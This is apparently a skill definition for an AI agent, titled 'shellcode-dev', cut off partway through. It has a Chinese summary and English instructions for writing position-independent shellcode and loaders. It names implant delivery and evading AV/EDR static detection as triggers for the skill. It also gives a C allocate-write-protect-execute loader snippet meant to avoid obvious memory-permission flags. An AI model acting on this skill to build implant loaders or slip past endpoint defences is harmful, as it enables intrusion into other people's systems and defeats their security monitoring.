shellcode-dev

编写位置无关的 shellcode 与加载器，含编码与避免空字节技巧

帮你编写并打包可在不同地址运行的 shellcode 和对应的加载器，常用在做漏洞利用、植入交付或想绕过静态检测的时候。涵盖 PEB walking、API hashing、避免空字节、编码器，以及把 PE 转成 shellcode 等实用技巧。特点是注重位置无关（PIC）、兼顾 x86/x64 和跨平台细节，适合需要手工定制小体积机器码的场景。

# Shellcode Development

## When to Activate

- Writing custom x86/x64 shellcode
- Implementing position-independent code (PIC)
- Building shellcode loaders for implant delivery
- Evading AV/EDR static detection
- Converting PE files to shellcode
- Cross-platform shellcode development

## Execution Pattern (Allocate-Write-Execute)

Avoid direct `PAGE_EXECUTE_READWRITE` — prefer two-step:

```c
// 1. Allocate with RW
char *dest = VirtualAlloc(NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
// 2. Write shellcode
memcpy(dest, shellcode, size);
// 3. Switch to RX (no write permission)
VirtualProtect(dest, size, PAGE_EXECUTE_READ, &old);
// 4. Execute
((void(*)())dest)();
```

## Position-In